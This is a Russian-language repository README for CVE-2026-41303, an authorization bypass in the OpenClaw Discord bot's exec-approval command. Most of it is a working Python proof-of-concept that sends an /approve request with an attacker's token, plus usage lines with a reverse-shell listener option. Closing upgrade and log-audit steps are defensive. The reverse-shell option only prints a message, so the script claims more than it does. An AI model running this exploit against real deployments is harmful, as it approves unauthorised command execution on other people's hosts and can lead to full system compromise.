
Техническая документация и proof-of-concept для CVE-2026-41303, обход авторизации в Discord-боте OpenClaw, включая методологию эксплуатации, шаги по смягчению последствий и рекомендации по защите.
Полная техническая документация об уязвимости обхода авторизации в OpenClaw
Этот репозиторий содержит техническую информацию, анализ и рекомендации по уязвимости CVE-2026-41303, которая позволяет обойти авторизацию в командах одобрения выполнения в проекте OpenClaw.
Была выявлена критическая ошибка в версиях OpenClaw ранее 2026.3.28. Проблема заключается в командах одобрения текста в Discord, где пользователи, которые не входят в список авторизованных утверждающих (channels.discord.execApprovals.approvers), могут одобрять ожидающие запросы на выполнение команд на хосте.
| Параметр | Значение |
|---|---|
| ID CVE | CVE-2026-41303 |
| Затронутый продукт | OpenClaw |
| Тип уязвимости | Обход авторизации (CWE-863) |
| Вектор атаки | Текстовые команды в Discord |
| Платформа | Linux / Discord |
| Оценка CVSS | 8.8 (Высокая) |
| Затронутые версии | < 2026.3.28 |
| Статус | Исправлено в v2026.3.28+ |
Уязвимость заключается в отсутствии проверки авторизации в обработчике команды /approve бота OpenClaw. Система не проверяет должным образом, входит ли пользователь, выполняющий команду, в список авторизованных утверждающих перед обработкой запроса.
Злоумышленник с доступом к каналу Discord, где управляются одобрения, может:
Неавторизованный пользователь
↓
Доступ к каналу Discord
↓
Определяет ID ожидающего одобрения
↓
Выполняет команду /approve
↓
Бот одобряет без проверки прав
↓
Удалённое выполнение кода (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# Настройка профессиональных аргументов для аудита
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - Обход одобрения в OpenClaw",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Примеры использования:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="URL экземпляра или контекста бота")
parser.add_argument("--token", required=True, help="Токен Discord атакующего/аудитора")
parser.add_argument("--channel-id", required=True, help="ID канала Discord")
parser.add_argument("--approval-id", required=True, help="ID одобрения для обхода")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="Тип решения об одобрении (по умолчанию: allow-once)")
# Дополнительные параметры для пост-эксплуатации
parser.add_argument("--lhost", help="IP для reverse shell, если одобрение активирует RCE")
parser.add_argument("--lport", help="Порт прослушивания")
parser.add_argument("--verbose", "-v", action="store_true", help="Подробный режим")
args = parser.parse_args()
# Логика эксплуатации
print(f"[*] Запуск обхода для одобрения: {args.approval_id}")
print(f"[*] Целевой канал: {args.channel_id}")
print(f"[*] Решение: {args.decision}")
if args.verbose:
print(f"[DEBUG] Токен: {args.token[:20]}...")
print(f"[DEBUG] Цель: {args.target}")
# Формирование некорректного запроса
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# Отправка команды /approve без проверки прав
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] Обход успешен! Одобрение выполнено.")
print(f"[+] Ответ: {response.json()}")
if args.lhost and args.lport:
print(f"[*] Reverse shell настроен на {args.lhost}:{args.lport}")
else:
print(f"[-] Ошибка: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] Исключение: {str(e)}")
if __name__ == "__main__":
main()
# Базовое использование
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# Подробный режим
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# С reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. Получить доступ к каналу Discord, где взаимодействует OpenClaw
2. Отслеживать сообщения бота для определения ID ожидающих одобрений
3. Захватить точный формат запросов на одобрение
4. Задокументировать структуру команд /approve
1. Выполнить скрипт PoC с захваченными ID
2. Отправить решение (allow-once или allow-always) вместе с параметрами
3. Бот обрабатывает команду без проверки прав пользователя
4. Одобрение успешно выполняется
Если одобрение текста в Discord активирует автоматические функции на сервере:
↓
Развёртывание кода
↓
Удалённое выполнение кода (RCE)
↓
Полная компрометация системы
1. Обновить OpenClaw
# Обновление до версии 2026.3.28 или выше
pip install --upgrade openclaw>=2026.3.28
# Или из официального репозитория
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. Проверить конфигурацию
# Проверить channels.discord.execApprovals.approvers
# Файл: config.yaml
channels:
discord:
execApprovals:
approvers:
- "user_id_1"
- "user_id_2"
- "user_id_3"
# ⚠️ Убедиться, что в этом списке ТОЛЬКО доверенные пользователи
3. Аудит журналов
# Просмотр последних записей выполнения
tail -f /var/log/openclaw/execution.log
# Поиск подозрительных одобрений
grep "APPROVAL" /var/log/openclaw/execution.log | grep -v "AUTHORIZED_USER"